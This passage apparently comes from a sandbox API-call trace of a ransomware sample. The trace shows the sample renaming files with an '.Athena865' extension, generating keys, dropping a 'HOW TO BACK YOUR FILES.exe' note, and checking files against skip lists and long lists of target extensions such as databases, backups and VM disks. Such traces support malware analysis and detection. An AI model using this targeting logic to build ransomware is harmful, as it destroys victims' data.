users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.athena865"), dwFlags=0x1) returned 1 [0054.676] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0054.676] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2296) returned 1 [0054.676] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0054.676] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0054.676] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518788 [0054.676] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519e60) returned 1 [0054.677] CryptGenRandom (in: hProv=0x519e60, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0054.677] CryptReleaseContext (hProv=0x519e60, dwFlags=0x0) returned 1 [0054.677] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc00, lpName=0x0) returned 0x154 [0054.679] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc00) returned 0x100000 [0054.685] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519e60) returned 1 [0054.685] CryptGenRandom (in: hProv=0x519e60, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0054.685] CryptReleaseContext (hProv=0x519e60, dwFlags=0x0) returned 1 [0054.685] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0054.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0054.685] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0054.686] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0054.686] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0054.686] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0054.686] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0054.686] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0054.686] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0054.686] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0054.686] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0054.686] CloseHandle (hObject=0x154) returned 1 [0054.686] CloseHandle (hObject=0x17c) returned 1 [0054.686] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0054.686] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518788 | out: hHeap=0x4f0000) returned 1 [0054.686] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0054.686] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0054.687] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0054.687] ReleaseMutex (hMutex=0xec) returned 1 [0054.687] CloseHandle (hObject=0xec) returned 1 [0054.687] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C" [0054.687] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518898 | out: hHeap=0x4f0000) returned 1 [0054.687] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f520 | out: hHeap=0x4f0000) returned 1 [0054.687] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C") returned 62 [0054.687] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\030C3EDD48700E0017A50CC3EF798363") returned 0xec [0054.687] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0054.687] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C" [0054.687] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0054.687] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.687] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0054.688] GetLastError () returned 0x0 [0054.688] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0054.688] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0054.688] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0054.688] CloseHandle (hObject=0xf4) returned 1 [0054.688] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0054.688] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0054.689] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd320800, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd320800, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0054.689] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.689] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.689] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0054.689] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd320800, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd320800, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.689] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.689] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.689] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0054.689] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0054.689] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd320800, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd320800, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0054.689] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0054.689] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PowerPointMUI.msi", cAlternateFileName="POWERP~1.MSI")) returned 1 [0054.689] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0054.689] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.689] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2=".") returned 1 [0054.689] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="..") returned 1 [0054.689] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="windows") returned -1 [0054.689] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="bootmgr") returned 1 [0054.689] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="temp") returned -1 [0054.689] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="pagefile.sys") returned 1 [0054.689] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="boot") returned 1 [0054.689] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="ids.txt") returned 1 [0054.689] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="ntuser.dat") returned 1 [0054.689] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="perflogs") returned 1 [0054.689] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="MSBuild") returned 1 [0054.689] lstrlenW (lpString="PowerPointMUI.msi") returned 17 [0054.689] lstrcpyW (in: lpString1=0x241e8c6, lpString2="PowerPointMUI.msi" | out: lpString1="PowerPointMUI.msi") returned="PowerPointMUI.msi" [0054.689] lstrlenW (lpString="PowerPointMUI.msi") returned 17 [0054.689] lstrlenW (lpString="Athena865") returned 9 [0054.690] lstrcmpiW (lpString1="ntMUI.msi", lpString2="Athena865") returned 1 [0054.690] lstrlenW (lpString=".dll") returned 4 [0054.690] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2=".dll") returned 1 [0054.690] lstrlenW (lpString=".lnk") returned 4 [0054.690] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2=".lnk") returned 1 [0054.690] lstrlenW (lpString=".ini") returned 4 [0054.690] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2=".ini") returned 1 [0054.690] lstrlenW (lpString=".sys") returned 4 [0054.690] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2=".sys") returned 1 [0054.690] lstrlenW (lpString="PowerPointMUI.msi") returned 17 [0054.690] lstrlenW (lpString="bak") returned 3 [0054.690] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1 [0054.690] lstrlenW (lpString="ba_") returned 3 [0054.690] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1 [0054.690] lstrlenW (lpString="dbb") returned 3 [0054.690] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1 [0054.690] lstrlenW (lpString="vmdk") returned 4 [0054.690] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1 [0054.690] lstrlenW (lpString="rar") returned 3 [0054.690] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1 [0054.690] lstrlenW (lpString="zip") returned 3 [0054.690] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1 [0054.690] lstrlenW (lpString="tgz") returned 3 [0054.690] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1 [0054.690] lstrlenW (lpString="vbox") returned 4 [0054.690] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1 [0054.690] lstrlenW (lpString="vdi") returned 3 [0054.690] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1 [0054.690] lstrlenW (lpString="vhd") returned 3 [0054.690] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1 [0054.690] lstrlenW (lpString="vhdx") returned 4 [0054.690] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1 [0054.690] lstrlenW (lpString="avhd") returned 4 [0054.690] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1 [0054.691] lstrlenW (lpString="db") returned 2 [0054.691] lstrcmpiW (lpString1="si", lpString2="db") returned 1 [0054.691] lstrlenW (lpString="db2") returned 3 [0054.691] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1 [0054.691] lstrlenW (lpString="db3") returned 3 [0054.691] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1 [0054.691] lstrlenW (lpString="dbf") returned 3 [0054.691] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1 [0054.691] lstrlenW (lpString="mdf") returned 3 [0054.691] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1 [0054.691] lstrlenW (lpString="mdb") returned 3 [0054.691] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1 [0054.691] lstrlenW (lpString="sql") returned 3 [0054.691] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1 [0054.691] lstrlenW (lpString="sqlite") returned 6 [0054.691] lstrcmpiW (lpString1="UI.msi", lpString2="sqlite") returned 1 [0054.691] lstrlenW (lpString="sqlite3") returned 7 [0054.691] lstrcmpiW (lpString1="MUI.msi", lpString2="sqlite3") returned -1 [0054.691] lstrlenW (lpString="sqlitedb") returned 8 [0054.691] lstrcmpiW (lpString1="tMUI.msi", lpString2="sqlitedb") returned 1 [0054.691] lstrlenW (lpString="xml") returned 3 [0054.691] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1 [0054.691] lstrlenW (lpString="$er") returned 3 [0054.691] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1 [0054.691] lstrlenW (lpString="4dd") returned 3 [0054.691] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1 [0054.691] lstrlenW (lpString="4dl") returned 3 [0054.691] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1 [0054.691] lstrlenW (lpString="^^^") returned 3 [0054.691] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1 [0054.691] lstrlenW (lpString="abs") returned 3 [0054.691] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1 [0054.691] lstrlenW (lpString="abx") returned 3 [0054.691] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1 [0054.692] lstrlenW (lpString="accdb") returned 5 [0054.692] lstrcmpiW (lpString1="I.msi", lpString2="accdb") returned 1 [0054.692] lstrlenW (lpString="accdc") returned 5 [0054.692] lstrcmpiW (lpString1="I.msi", lpString2="accdc") returned 1 [0054.692] lstrlenW (lpString="accde") returned 5 [0054.692] lstrcmpiW (lpString1="I.msi", lpString2="accde") returned 1 [0054.692] lstrlenW (lpString="accdr") returned 5 [0054.692] lstrcmpiW (lpString1="I.msi", lpString2="accdr") returned 1 [0054.692] lstrlenW (lpString="accdt") returned 5 [0054.692] lstrcmpiW (lpString1="I.msi", lpString2="accdt") returned 1 [0054.692] lstrlenW (lpString="accdw") returned 5 [0054.692] lstrcmpiW (lpString1="I.msi", lpString2="accdw") returned 1 [0054.692] lstrlenW (lpString="accft") returned 5 [0054.692] lstrcmpiW (lpString1="I.msi", lpString2="accft") returned 1 [0054.692] lstrlenW (lpString="adb") returned 3 [0054.692] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0054.692] lstrlenW (lpString="adb") returned 3 [0054.692] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0054.692] lstrlenW (lpString="ade") returned 3 [0054.692] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1 [0054.692] lstrlenW (lpString="adf") returned 3 [0054.692] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1 [0054.692] lstrlenW (lpString="adn") returned 3 [0054.692] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1 [0054.692] lstrlenW (lpString="adp") returned 3 [0054.692] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1 [0054.692] lstrlenW (lpString="alf") returned 3 [0054.692] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1 [0054.692] lstrlenW (lpString="ask") returned 3 [0054.692] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1 [0054.692] lstrlenW (lpString="btr") returned 3 [0054.692] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1 [0054.692] lstrlenW (lpString="cat") returned 3 [0054.693] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1 [0054.693] lstrlenW (lpString="cdb") returned 3 [0054.693] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1 [0054.693] lstrlenW (lpString="ckp") returned 3 [0054.693] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1 [0054.693] lstrlenW (lpString="cma") returned 3 [0054.693] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1 [0054.693] lstrlenW (lpString="cpd") returned 3 [0054.693] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1 [0054.693] lstrlenW (lpString="dacpac") returned 6 [0054.693] lstrcmpiW (lpString1="UI.msi", lpString2="dacpac") returned 1 [0054.693] lstrlenW (lpString="dad") returned 3 [0054.693] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1 [0054.693] lstrlenW (lpString="dadiagrams") returned 10 [0054.693] lstrcmpiW (lpString1="intMUI.msi", lpString2="dadiagrams") returned 1 [0054.693] lstrlenW (lpString="daschema") returned 8 [0054.693] lstrcmpiW (lpString1="tMUI.msi", lpString2="daschema") returned 1 [0054.693] lstrlenW (lpString="db-journal") returned 10 [0054.693] lstrcmpiW (lpString1="intMUI.msi", lpString2="db-journal") returned 1 [0054.693] lstrlenW (lpString="db-shm") returned 6 [0054.693] lstrcmpiW (lpString1="UI.msi", lpString2="db-shm") returned 1 [0054.693] lstrlenW (lpString="db-wal") returned 6 [0054.693] lstrcmpiW (lpString1="UI.msi", lpString2="db-wal") returned 1 [0054.693] lstrlenW (lpString="dbc") returned 3 [0054.693] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1 [0054.693] lstrlenW (lpString="dbs") returned 3 [0054.693] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1 [0054.693] lstrlenW (lpString="dbt") returned 3 [0054.693] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1 [0054.693] lstrlenW (lpString="dbv") returned 3 [0054.693] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1 [0054.693] lstrlenW (lpString="dbx") returned 3 [0054.694] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1 [0054.694] lstrlenW (lpString="dcb") returned 3 [0054.694] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1 [0054.694] lstrlenW (lpString="dct") returned 3 [0054.694] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1 [0054.694] lstrlenW (lpString="dcx") returned 3 [0054.694] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1 [0054.694] lstrlenW (lpString="ddl") returned 3 [0054.694] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1 [0054.694] lstrlenW (lpString="dlis") returned 4 [0054.694] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1 [0054.694] lstrlenW (lpString="dp1") returned 3 [0054.694] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1 [0054.694] lstrlenW (lpString="dqy") returned 3 [0054.694] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1 [0054.694] lstrlenW (lpString="dsk") returned 3 [0054.694] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1 [0054.694] lstrlenW (lpString="dsn") returned 3 [0054.694] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1 [0054.694] lstrlenW (lpString="dtsx") returned 4 [0054.694] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1 [0054.694] lstrlenW (lpString="dxl") returned 3 [0054.694] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1 [0054.694] lstrlenW (lpString="eco") returned 3 [0054.694] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1 [0054.694] lstrlenW (lpString="ecx") returned 3 [0054.694] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1 [0054.694] lstrlenW (lpString="edb") returned 3 [0054.694] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1 [0054.694] lstrlenW (lpString="epim") returned 4 [0054.694] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1 [0054.694] lstrlenW (lpString="fcd") returned 3 [0054.694] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1 [0054.694] lstrlenW (lpString="fdb") returned 3 [0054.695] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1 [0054.695] lstrlenW (lpString="fic") returned 3 [0054.695] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1 [0054.695] lstrlenW (lpString="flexolibrary") returned 12 [0054.695] lstrcmpiW (lpString1="PointMUI.msi", lpString2="flexolibrary") returned 1 [0054.695] lstrlenW (lpString="fm5") returned 3 [0054.695] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1 [0054.695] lstrlenW (lpString="fmp") returned 3 [0054.695] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1 [0054.695] lstrlenW (lpString="fmp12") returned 5 [0054.695] lstrcmpiW (lpString1="I.msi", lpString2="fmp12") returned 1 [0054.695] lstrlenW (lpString="fmpsl") returned 5 [0054.695] lstrcmpiW (lpString1="I.msi", lpString2="fmpsl") returned 1 [0054.695] lstrlenW (lpString="fol") returned 3 [0054.695] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1 [0054.695] lstrlenW (lpString="fp3") returned 3 [0054.695] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1 [0054.695] lstrlenW (lpString="fp4") returned 3 [0054.695] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1 [0054.695] lstrlenW (lpString="fp5") returned 3 [0054.695] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1 [0054.695] lstrlenW (lpString="fp7") returned 3 [0054.695] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1 [0054.695] lstrlenW (lpString="fpt") returned 3 [0054.695] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1 [0054.695] lstrlenW (lpString="frm") returned 3 [0054.695] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1 [0054.695] lstrlenW (lpString="gdb") returned 3 [0054.695] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0054.695] lstrlenW (lpString="gdb") returned 3 [0054.695] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0054.695] lstrlenW (lpString="grdb") returned 4 [0054.696] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1 [0054.696] lstrlenW (lpString="gwi") returned 3 [0054.696] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1 [0054.696] lstrlenW (lpString="hdb") returned 3 [0054.696] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1 [0054.696] lstrlenW (lpString="his") returned 3 [0054.696] lstrcmpiW (lpString1="msi", lpString2="his") returned 1 [0054.696] lstrlenW (lpString="ib") returned 2 [0054.696] lstrcmpiW (lpString1="si", lpString2="ib") returned 1 [0054.696] lstrlenW (lpString="idb") returned 3 [0054.696] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1 [0054.696] lstrlenW (lpString="ihx") returned 3 [0054.696] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1 [0054.696] lstrlenW (lpString="itdb") returned 4 [0054.696] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1 [0054.696] lstrlenW (lpString="itw") returned 3 [0054.696] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1 [0054.696] lstrlenW (lpString="jet") returned 3 [0054.696] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1 [0054.696] lstrlenW (lpString="jtx") returned 3 [0054.696] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1 [0054.696] lstrlenW (lpString="kdb") returned 3 [0054.696] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1 [0054.696] lstrlenW (lpString="kexi") returned 4 [0054.696] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1 [0054.696] lstrlenW (lpString="kexic") returned 5 [0054.696] lstrcmpiW (lpString1="I.msi", lpString2="kexic") returned -1 [0054.696] lstrlenW (lpString="kexis") returned 5 [0054.696] lstrcmpiW (lpString1="I.msi", lpString2="kexis") returned -1 [0054.696] lstrlenW (lpString="lgc") returned 3 [0054.696] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1 [0054.696] lstrlenW (lpString="lwx") returned 3 [0054.696] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1 [0054.696] lstrlenW (lpString="maf") returned 3 [0054.697] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1 [0054.697] lstrlenW (lpString="maq") returned 3 [0054.697] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1 [0054.697] lstrlenW (lpString="mar") returned 3 [0054.697] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1 [0054.697] lstrlenW (lpString="marshal") returned 7 [0054.697] lstrcmpiW (lpString1="MUI.msi", lpString2="marshal") returned 1 [0054.697] lstrlenW (lpString="mas") returned 3 [0054.697] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1 [0054.697] lstrlenW (lpString="mav") returned 3 [0054.697] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1 [0054.697] lstrlenW (lpString="maw") returned 3 [0054.697] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1 [0054.697] lstrlenW (lpString="mdbhtml") returned 7 [0054.697] lstrcmpiW (lpString1="MUI.msi", lpString2="mdbhtml") returned 1 [0054.697] lstrlenW (lpString="mdn") returned 3 [0054.697] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1 [0054.697] lstrlenW (lpString="mdt") returned 3 [0054.697] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1 [0054.697] lstrlenW (lpString="mfd") returned 3 [0054.697] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1 [0054.697] lstrlenW (lpString="mpd") returned 3 [0054.697] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1 [0054.697] lstrlenW (lpString="mrg") returned 3 [0054.697] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1 [0054.697] lstrlenW (lpString="mud") returned 3 [0054.697] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1 [0054.697] lstrlenW (lpString="mwb") returned 3 [0054.697] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1 [0054.697] lstrlenW (lpString="myd") returned 3 [0054.697] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1 